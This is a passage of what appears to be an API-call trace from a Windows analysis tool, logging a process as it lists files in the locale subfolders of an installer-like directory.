lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290680 [0101.092] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.092] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.092] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.092] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.092] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.092] FindClose (in: hFindFile=0x4290680 | out: hFindFile=0x4290680) returned 1 [0101.093] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.093] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0101.093] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.093] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42902c0 [0101.095] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.095] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.095] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.095] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.095] FindNextFileW (in: hFindFile=0x42902c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.095] FindClose (in: hFindFile=0x42902c0 | out: hFindFile=0x42902c0) returned 1 [0101.096] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.096] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0101.096] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.096] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42904c0 [0101.097] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.097] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.097] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.097] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.097] FindNextFileW (in: hFindFile=0x42904c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.097] FindClose (in: hFindFile=0x42904c0 | out: hFindFile=0x42904c0) returned 1 [0101.098] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.098] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0101.098] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.098] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290180 [0101.099] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.099] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.099] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.100] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.100] FindNextFileW (in: hFindFile=0x4290180, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.100] FindClose (in: hFindFile=0x4290180 | out: hFindFile=0x4290180) returned 1 [0101.100] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.100] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0101.101] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.101] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290800 [0101.101] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.101] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.101] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.101] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.101] FindNextFileW (in: hFindFile=0x4290800, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.101] FindClose (in: hFindFile=0x4290800 | out: hFindFile=0x4290800) returned 1 [0101.101] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.101] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0101.101] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.101] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290680 [0101.102] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.102] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.102] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.102] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.102] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.102] FindClose (in: hFindFile=0x4290680 | out: hFindFile=0x4290680) returned 1 [0101.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0101.102] FindNextFileW (in: hFindFile=0x4290300, lpFindFileData=0x38ffa7c | out: lpFindFileData=0x38ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0101.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0101.102] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42905c0 [0101.105] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, 